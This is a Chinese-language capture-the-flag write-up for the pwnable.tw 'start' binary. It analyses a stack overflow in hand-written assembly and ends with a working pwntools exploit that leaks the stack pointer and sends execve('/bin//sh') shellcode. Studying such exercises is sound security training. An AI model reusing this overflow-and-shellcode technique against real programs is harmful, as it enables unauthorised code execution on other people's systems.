checksec:
[*] '/home/kkkk/code/start'
Arch: i386-32-little
RELRO: No RELRO
Stack: No canary found
NX: NX disabled
PIE: No PIE (0x8048000)
disassem:
Dump of assembler code for function _start:
=> 0x08048060 <+0>: push esp
0x08048061 <+1>: push 0x804809d
0x08048066 <+6>: xor eax,eax
0x08048068 <+8>: xor ebx,ebx
0x0804806a <+10>: xor ecx,ecx
0x0804806c <+12>: xor edx,edx
0x0804806e <+14>: push 0x3a465443
0x08048073 <+19>: push 0x20656874
0x08048078 <+24>: push 0x20747261
0x0804807d <+29>: push 0x74732073
0x08048082 <+34>: push 0x2774654c
0x08048087 <+39>: mov ecx,esp
0x08048089 <+41>: mov dl,0x14
0x0804808b <+43>: mov bl,0x1
0x0804808d <+45>: mov al,0x4
0x0804808f <+47>: int 0x80
0x08048091 <+49>: xor ebx,ebx
0x08048093 <+51>: mov dl,0x3c
0x08048095 <+53>: mov al,0x3
0x08048097 <+55>: int 0x80
0x08048099 <+57>: add esp,0x14
0x0804809c <+60>: ret
End of assembler dump.
程序是汇编编写的, 没有保护模式
程序使用中断调用了两个系统调用, 一个是sys_write
函数:
0x08048087 <+39>: mov ecx,esp
0x08048089 <+41>: mov dl,0x14
0x0804808b <+43>: mov bl,0x1
0x0804808d <+45>: mov al,0x4
0x0804808f <+47>: int 0x80
一个是read
函数:
0x08048091 <+49>: xor ebx,ebx
0x08048093 <+51>: mov dl,0x3c
0x08048095 <+53>: mov al,0x3
0x08048097 <+55>: int 0x80
read函数的ecx
是之前设置的ecx
值, 并未更改
mov ecx,esp
ecx
是esp
ecx
即使输出的目标地址也是输入的目标地址
随后程序退出
read函数读入0x3c
字节, 会造成栈溢出, 且程序没有保护模式
考虑re2shellcode, 需要注意payload大小不超过0x3c
程序一共push
了7*4个字节, 程序最后恢复0x14栈空间, ret时又消耗4字节, 于是此时esp里的值就是程序开始压入的esp的值
此时esp是这样的:
esp->esp+4
于是第一次覆盖返回地址到0x08048087
, 即可调用sys_write
输出esp+4的值, 第二次输入的起始位置是esp
第一次覆盖只需要填充0x14字节任意内容, 用于抵消程序清栈操作
0x08048099 <+57>: add esp,0x14
然后以小端模式传入地址0x08048087
泄露esp+4的值后, 第二次输入同理
0x14字节任意内容 + (esp+4地址+0x14) + shellcode
由于第二次输入的起始位置是esp, 泄露的esp是esp+4
所以esp+4 + 0x14就到shellcode的位置了(32位程序指针占用4字节)
EXP:
from pwn import *
r = remote("chall.pwnable.tw", 10000)
# r = process("./start")
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x89\xc1\x89\xc2\xb0\x0b\xcd\x80\x31\xc0\x40\xcd\x80"
payload1 = b"k"*(0x14) + p32(0x08048087)
r.sendafter(b"Let's start the CTF:", payload1)
esp = u32(r.recv(4))
r.recv()
log.success(hex(esp))
payload2 = b"k"*(0x14) + p32(esp+0x14) + shellcode
r.send(payload2)
r.interactive()